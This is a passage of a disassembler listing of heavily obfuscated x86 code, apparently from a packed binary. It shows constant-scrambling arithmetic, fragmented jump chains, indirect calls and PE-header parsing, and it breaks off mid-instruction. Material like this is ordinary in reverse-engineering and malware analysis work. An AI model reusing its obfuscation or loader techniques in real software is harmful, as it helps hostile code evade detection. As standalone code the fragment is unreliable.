--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4285EB: ; CODE XREF: sub_423B05:loc_4275E9j rol eax, 12h xor eax, 0A572612Ah add eax, ebp add eax, 0D2A47652h mov eax, [eax] push offset loc_424768 jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- push 0E22750C9h pop eax and eax, 0E8C440A5h add eax, 203E124Fh mov eax, [eax] call sub_426BFD loc_428621: ; CODE XREF: hjohnhn9:00426111j jmp loc_423C72 ; --------------------------------------------------------------------------- loc_428626: ; CODE XREF: hjohnhn9:00424B17j ; hjohnhn9:00426880j jmp loc_427CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_42862B: ; CODE XREF: sub_423B05-8DBj jz loc_423C67 jmp loc_425E64 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428636: ; CODE XREF: sub_424928+12j xor esi, 0EC755FA9h rol esi, 0Ch jb loc_423984 jp loc_4274DF push 0ED12CE14h jmp loc_423984 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- loc_428655: ; CODE XREF: hjohnhn9:00426A73j sub ebp, 1D877403h ; =============== S U B R O U T I N E ======================================= sub_42865B proc near ; CODE XREF: sub_425029-153Dp xchg eax, [esp+0] pop eax mov eax, [ebp-8] call sub_428357 loc_428667: ; CODE XREF: sub_424631+2A6Bj jmp loc_4249A3 sub_42865B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42866C: ; CODE XREF: sub_4287BF-5623j ; sub_4287BF:loc_428888j add eax, 5 cmp eax, ds:dword_4252D0 loc_428675: ; CODE XREF: hjohnhn9:00428FC1j jz loc_4268DB loc_42867B: ; CODE XREF: sub_4287BF:loc_42318Dj ; sub_4287BF+8B5j jno loc_427246 mov eax, [ebp-4] call sub_426924 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_427234 ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428696: ; CODE XREF: sub_424928-F95j jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42869B: ; CODE XREF: sub_423CDB:loc_425EFBj sub edx, 0D48679D9h and edx, 0F1D0428Eh loc_4286A7: ; CODE XREF: hjohnhn9:loc_4269B7j add edx, 1B9E0E67h call sub_4279ED push ecx push offset sub_42325E jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4286BD: ; CODE XREF: sub_426CC8:loc_42633Fj push 49B5FB9h pop ecx sub ecx, 9CD41AECh xor ecx, 32E7C044h add ecx, 0AB22037Dh xchg ecx, [esp+4+var_4] jmp loc_4260B3 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_4286DD: ; CODE XREF: sub_424A55+13j jz loc_424C81 inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_424A55 ; START OF FUNCTION CHUNK FOR sub_428271 loc_4286E6: ; CODE XREF: sub_424A55+23Dj ; sub_428271:loc_426B92j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4286F1: ; CODE XREF: sub_425BD2:loc_424266j or edx, 293B973Eh xor edx, 5CA6FE90h add edx, ebp add edx, 0DC26FECDh mov edx, [edx] mov [edx], al jmp loc_4265B8 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42870E proc near ; DATA XREF: sub_428192:loc_428253o push ebp mov ebp, esp mov esp, ebp call sub_428C4E sub_42870E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428718 proc near ; CODE XREF: sub_424E4F-966p ; hjohnhn9:00427F2Ej xchg ebx, [esp+0] pop ebx pop ebp retn sub_428718 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42645D loc_42871E: ; CODE XREF: sub_42645D+Dj jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_428723: ; CODE XREF: sub_424335+Bj jmp loc_425147 ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428728: ; CODE XREF: sub_424E4F-978j ; sub_42392D+1510j xor eax, eax loc_42872A: ; CODE XREF: hjohnhn9:loc_427763j jmp loc_4265B3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_42872F: ; CODE XREF: sub_424A28+6j call sub_42841F loc_428734: ; CODE XREF: hjohnhn9:00428A0Fj jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_424A28 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42873A: ; CODE XREF: sub_4260BD+1j jmp loc_429032 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_42873F proc near ; CODE XREF: sub_426A30:loc_4247BCp ; sub_426A30+13p ; FUNCTION CHUNK AT 0042322F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042324B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004252D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427021 SIZE 00000007 BYTES xor bx, bx add ebx, 10000h loc_428748: ; CODE XREF: sub_42873F-550Aj ; sub_42873F:loc_427021j jno loc_42324B sub ebx, 10000h mov eax, [ebx] jmp loc_42322F sub_42873F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42875B: ; CODE XREF: sub_426354:loc_4290A3j sub ecx, 5D05A8A1h cmp ecx, 0AC25379Bh jmp loc_425F00 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_42876C: ; CODE XREF: sub_428D64-4AD4j or eax, edx mov edx, [ebp-8] loc_428771: ; CODE XREF: sub_425BD2:loc_424454j mov [edx], al mov eax, [ebp-8] mov al, [eax] jmp loc_4264EB ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_42877D: ; CODE XREF: sub_425C98:loc_4264F0j xchg ecx, [esp+0] ror eax, 7 call sub_426D6A ; END OF FUNCTION CHUNK FOR sub_425C98 ; =============== S U B R O U T I N E ======================================= sub_428788 proc near ; CODE XREF: hjohnhn9:00425BEDj ; sub_424631:loc_428124p ; FUNCTION CHUNK AT 00423610 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov edx, 0CF0182F6h call sub_427C53 mov ds:dword_423954, eax loc_42879B: ; CODE XREF: hjohnhn9:00423A0Cj ; sub_424631+4j ... mov eax, ds:dword_423954 jmp loc_423610 sub_428788 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4287A5: ; CODE XREF: sub_428477:loc_4279E3j xor eax, 4AF24693h add eax, ebp add eax, 6BD28E9Fh mov eax, [eax] xchg eax, [esp+8+var_8] call eax loc_4287BA: ; CODE XREF: hjohnhn9:00426730j jmp loc_4252C8 ; END OF FUNCTION CHUNK FOR sub_428477 ; =============== S U B R O U T I N E ======================================= sub_4287BF proc near ; DATA XREF: sub_423851+6o ; FUNCTION CHUNK AT 00423022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042318D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042369A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423767 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427234 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042757E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042866C SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00428888 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429061 SIZE 00000022 BYTES mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_4287D2 jmp loc_423053 ; --------------------------------------------------------------------------- loc_4287D2: ; CODE XREF: sub_423851j sub_4287BF+8j jno loc_427588 mov eax, [ebp-4] jmp loc_423767 sub_4287BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4287E0: ; CODE XREF: sub_426354+128Aj xor ecx, 0F5929170h add ecx, ebp add ecx, 264E3726h mov [ecx], eax pop ecx inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_427AB5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- sub eax, esi test ebx, ecx jmp loc_4269B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428806: ; CODE XREF: sub_426D02+Aj push 4365EA7Eh pop eax rol eax, 0Dh xor eax, 0C8A505A7h rol eax, 1Dh add eax, 91853137h jmp loc_4274D5 ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428823: ; CODE XREF: sub_425029-1536j jp loc_42626A ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428829 proc near ; CODE XREF: sub_4262C5+289Dp xchg ecx, [esp+0] pop ecx push 38651AACh pop ecx jmp loc_425E3A sub_428829 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428838 proc near ; CODE XREF: hjohnhn9:00423AFFj ; hjohnhn9:00427BB8p xchg esi, [esp+0] pop esi mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h push offset sub_423851 jmp nullsub_127 sub_428838 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_428851: ; CODE XREF: sub_423CDB:loc_424CA5j mov [ebp-24h], eax mov dword ptr [ebp-18h], 0 loc_42885B: ; CODE XREF: sub_425F3F+3j mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] xor edx, edx push edx call sub_428965 loc_42886C: ; CODE XREF: hjohnhn9:00425B66j jmp loc_426B13 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_428871: ; CODE XREF: hjohnhn9:004272CDj and edx, 752A12AAh cmp edx, 0ED7C7803h jmp loc_426E70 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428883: ; CODE XREF: sub_427852+739j jmp loc_428EEB ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_428888: ; CODE XREF: sub_4287BF-123Cj jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_42888D: ; CODE XREF: sub_4265CD-258Ej ; sub_427A36-1779j jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_427A36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428892: ; CODE XREF: hjohnhn9:loc_423604j ; sub_42345B+3B82j pop ecx sub ecx, 0AEA4A8ACh xor ecx, ds:4000F7h rol ecx, 0Eh and ecx, 2216952Ah jmp loc_424145 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4288AD: ; CODE XREF: sub_426A30-3794j call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 jmp loc_4247B9 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_4288C9: ; CODE XREF: sub_428CC9+Ej jnz loc_423E25 jmp sub_428E98 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_4288D4: ; CODE XREF: sub_427486-111j mov edi, [ecx] cdq loc_4288D7: ; CODE XREF: sub_427486:loc_428DEEj call sub_428FD3 push 383FE567h xchg ebp, [esp+0] mov edx, ebp pop ebp add edx, 19F9D197h jmp loc_428B1C ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4288F3: ; CODE XREF: sub_424877+1j jmp loc_42464A ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4288F8: ; CODE XREF: sub_424161-28Fj jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- xchg edi, ebp mov edx, [edi] jmp sub_4264CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428906: ; CODE XREF: sub_427564+81Fj jge loc_42655C jno loc_425CE7 loc_428912: ; CODE XREF: sub_427564-3AC6j rol edx, 1Bh add edx, 0AFC6A692h add edx, ebp jmp sub_423A75 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_428922: ; CODE XREF: hjohnhn9:loc_4264B7j pop edx sub edx, 0DAE6080Fh rol edx, 2 and edx, 0A9DCFEE7h rol edx, 0Dh jmp loc_424941 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42893A: ; CODE XREF: sub_424698+1DD8j cmp edx, 11B06969h jmp loc_423AD2 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_428945 proc near ; CODE XREF: sub_424D99-E93p ; hjohnhn9:00424D87j arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg ebx, [esp-4+arg_0] jmp loc_42762D sub_428945 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_428951: ; CODE XREF: sub_42851A:loc_424D63j xchg eax, [esp+0] mov ebp, esp push ecx mov esp, ebp xchg ecx, [esp+4+var_4] loc_42895C: ; CODE XREF: sub_426C09+238Bj mov ebp, ecx add ecx, ebp jmp loc_4267CC ; END OF FUNCTION CHUNK FOR sub_42851A ; =============== S U B R O U T I N E ======================================= sub_428965 proc near ; CODE XREF: hjohnhn9:00425CAEj ; sub_423CDB+4B8Cp ; FUNCTION CHUNK AT 004265BE SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push eax mov eax, [ebp-18h] shl eax, 2 push offset sub_4284CB jmp loc_4265BE sub_428965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42897A proc near ; CODE XREF: sub_42442F:loc_424F52j retn sub_42897A endp ; =============== S U B R O U T I N E ======================================= sub_42897B proc near ; CODE XREF: sub_425CB3:loc_427860p ; sub_4283C9+Aj ; FUNCTION CHUNK AT 00424A1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F5C SIZE 0000001A BYTES jz sub_42363F push ebp mov ebp, esp push ecx call sub_428309 loc_42898A: ; CODE XREF: sub_424946+38ADj jmp loc_424F5C sub_42897B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426859 loc_42898F: ; CODE XREF: sub_426859+Cj jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_426859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428994: ; CODE XREF: sub_426A78-1981j jmp loc_425187 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428999: ; CODE XREF: sub_425029:loc_428244j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 call sub_42441D ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_4289A4 proc near ; CODE XREF: hjohnhn9:00424BFCp ; hjohnhn9:00427C13j xchg ecx, [esp+0] pop ecx call nullsub_2 jmp loc_4270BB sub_4289A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4289B2 proc near ; CODE XREF: sub_4279ED+3j add esp, 0FFFFFED8h mov [ebp-8], edx loc_4289BB: ; CODE XREF: sub_423F65:loc_424F8Bj call sub_423CDB sub_4289B2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_4289C0: ; CODE XREF: sub_425EA9+6j jmp loc_424801 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4289C5: ; CODE XREF: sub_424A28:loc_4276BBj jnz loc_4260A9 jmp loc_427ACF ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- push edx mov edx, eax xchg edx, [esp] call sub_426AF6 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4289DB: ; CODE XREF: sub_427C9B-1BD3j adc edx, ecx loc_4289DD: ; CODE XREF: sub_426A78:loc_425187j call sub_424877 mov edx, 0D504D785h call sub_4279ED push edi mov edi, eax xchg edi, [esp+0] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_4289F8: ; CODE XREF: sub_42466E+3F1Aj jmp loc_42309F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4289FD: ; CODE XREF: sub_42363F+398Bj push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_428A04: ; DATA XREF: sub_424819+2BE6o push esi mov esi, edx xchg esi, [esp] push offset sub_4236A7 jmp loc_428734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_428A14: ; CODE XREF: sub_4263E3-1B37j jl loc_427F10 jmp loc_425056 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- or edx, edi and edx, eax jmp sub_4249E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_428A28: ; CODE XREF: sub_424EC9:loc_427298j xor eax, 6FC7DEFFh push edi pushf push offset sub_427D6A jmp loc_42797A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_428A3A: ; CODE XREF: hjohnhn9:loc_427B88j pop edx sub edx, 0E4E7A73Eh add edx, 9C59D4EBh or edx, 46B6616Ah rol edx, 1Fh add edx, 106308B1h jmp loc_42697C ; --------------------------------------------------------------------------- loc_428A5B: ; CODE XREF: hjohnhn9:00423DA3j jge loc_427C2C push 675F903Ah jmp sub_428162 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_428A6C: ; CODE XREF: sub_4266B5:loc_425D55j mov esi, ecx xchg esi, [esp+4+var_4] mov esp, ebp xchg eax, [esp+0] mov ebp, eax pop eax jmp loc_426B04 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_428A7E: ; CODE XREF: sub_4247F4+2571j sub esi, 76DE389Ch xor esi, 0DF502266h add esi, ebp add esi, 0E949C2C4h jmp loc_42634A ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_428A97: ; CODE XREF: sub_428E98-1E11j pop esi push offset loc_4276EB jmp loc_424FDE ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428AA2: ; CODE XREF: sub_42304F:loc_424F48j push offset sub_423F65 jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_428AAC: ; CODE XREF: sub_424D38+15j call sub_427564 push offset loc_4268D3 jmp loc_423958 ; END OF FUNCTION CHUNK FOR sub_424D38 ; =============== S U B R O U T I N E ======================================= sub_428ABB proc near ; DATA XREF: sub_428D49+11o cmp ds:dword_426E3C, 0 jnz loc_427FBF push offset loc_42805E jmp nullsub_83 sub_428ABB endp ; --------------------------------------------------------------------------- loc_428AD2: ; CODE XREF: hjohnhn9:00426A1Cj popf jmp loc_426491 ; --------------------------------------------------------------------------- loc_428AD8: ; CODE XREF: hjohnhn9:00427770j cmp edx, 0B4BB5C59h jmp loc_4240FF ; --------------------------------------------------------------------------- db 0DAh dword_428AE4 dd 0 ; DATA XREF: sub_4264CF+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_428AE8: ; CODE XREF: sub_42392D+Cj jmp loc_424E36 ; END OF FUNCTION CHUNK FOR sub_42392D ; --------------------------------------------------------------------------- db 88h, 0F5h, 6Fh dword_428AF0 dd 0 ; DATA XREF: hjohnhn9:004236CDw ; hjohnhn9:004236D2r ... dword_428AF4 dd 93B23775h, 46C51999h ; DATA XREF: sub_427C9B-219Co db 1Bh, 36h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_428AFF: ; CODE XREF: sub_4240E6+14j jmp loc_42744E ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- dword_428B04 dd 0 ; DATA XREF: sub_426671-657r ; hjohnhn9:0042669Aw ... dword_428B08 dd 0 ; DATA XREF: sub_42855B-5237r ; sub_427C9B-4527w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428B0C: ; CODE XREF: sub_428CE7+15Aj jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_428B11: ; CODE XREF: sub_428183-32CBj jmp loc_42332F ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- dw 8362h dword_428B18 dd 0 ; DATA XREF: sub_42362A+Aw ; sub_42363F+2641r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428B1C: ; CODE XREF: sub_427486+1467j jmp loc_428BC1 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428B22: ; CODE XREF: sub_427564-2AA0j jmp loc_423A98 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428B28 proc near ; CODE XREF: hjohnhn9:0042386Aj ; sub_426354-10D5p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423279 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp loc_423279 sub_428B28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428B34: ; CODE XREF: sub_425BD2:loc_426EFEj jz loc_4277E8 jmp loc_427028 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- and edx, ebp jmp sub_426D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428B46: ; CODE XREF: sub_42325E:loc_426FE4j jnz loc_424E6B loc_428B4C: ; CODE XREF: sub_42325E:loc_427BBDj add esi, 0E8DA9B7Fh add esi, ebp add esi, 0D5210B75h mov esi, [esi] jmp loc_428F20 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428B61: ; CODE XREF: sub_4262C5-279Dj ; sub_424631:loc_425B0Ej push ecx call sub_428829 loc_428B67: ; CODE XREF: sub_426354-57j ; hjohnhn9:00426512j jmp loc_425C11 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_428B6C: ; CODE XREF: hjohnhn9:004241B9j jmp loc_42671A ; --------------------------------------------------------------------------- loc_428B71: ; DATA XREF: sub_423FB9+Ao mov eax, [eax] cmp dword ptr [eax+3Ch], 0 jz loc_42476D jmp loc_427208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428B82: ; CODE XREF: sub_424E4F:loc_4265B3j mov [ebp+var_8], eax jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_428B8A: ; CODE XREF: sub_424A78+216Bj test byte ptr [ebp-8], 8 push offset sub_42626F jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_428B98: ; CODE XREF: hjohnhn9:004273E9j not ebp pop edx push 0E1B35378h loc_428BA0: ; CODE XREF: hjohnhn9:loc_427F4Ej push offset sub_426CC8 jmp locret_42664F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_428BAA: ; CODE XREF: sub_423753+3ADCj add edx, ecx ; END OF FUNCTION CHUNK FOR sub_423753 ; START OF FUNCTION CHUNK FOR sub_426354 loc_428BAC: ; CODE XREF: sub_423753:loc_425CF5j ; hjohnhn9:00426F39j ... mov eax, [ebp-8] mov ecx, 0Ah cdq idiv ecx push offset sub_425B34 jmp loc_42854C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428BC1: ; CODE XREF: sub_427486:loc_428B1Cj rol edx, 17h test edx, 2000000h jmp loc_427292 ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428BCF proc near ; DATA XREF: sub_425E94+5o var_4 = dword ptr -4 push eax mov eax, [ebp-4] mov eax, [eax+3Ch] cdq add eax, [esp+4+var_4] adc edx, [esp+4] call sub_427994 sub_428BCF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_428BE3: ; CODE XREF: sub_424631+14E3j jmp loc_423B24 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428BE8: ; CODE XREF: sub_424698:loc_4241A5j sub edi, eax and ecx, ebx jb loc_425C56 jmp loc_4261CF ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428BF7: ; CODE XREF: sub_423F65:loc_426C64j and eax, ds:4000F6h push offset loc_424056 jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_428C07: ; CODE XREF: sub_428D0E+Bj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423B92 ; END OF FUNCTION CHUNK FOR sub_428D0E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428C28: ; CODE XREF: hjohnhn9:00426171j jmp loc_4246ED ; --------------------------------------------------------------------------- loc_428C2D: ; DATA XREF: sub_426671-34FBo push eax pushf push 0C227AD4Bh pop eax jmp loc_425D00 ; --------------------------------------------------------------------------- call sub_4235C9 ; START OF FUNCTION CHUNK FOR sub_426604 loc_428C3F: ; CODE XREF: sub_426604+10j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_426604 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C44: ; CODE XREF: sub_424631+B51j jmp loc_425235 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428C49: ; CODE XREF: sub_423B05-C5j jmp loc_425252 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_428C4E proc near ; CODE XREF: hjohnhn9:00428115j ; sub_42870E+5p ; FUNCTION CHUNK AT 00425EA4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx pop ebp mov eax, ds:dword_423950 call 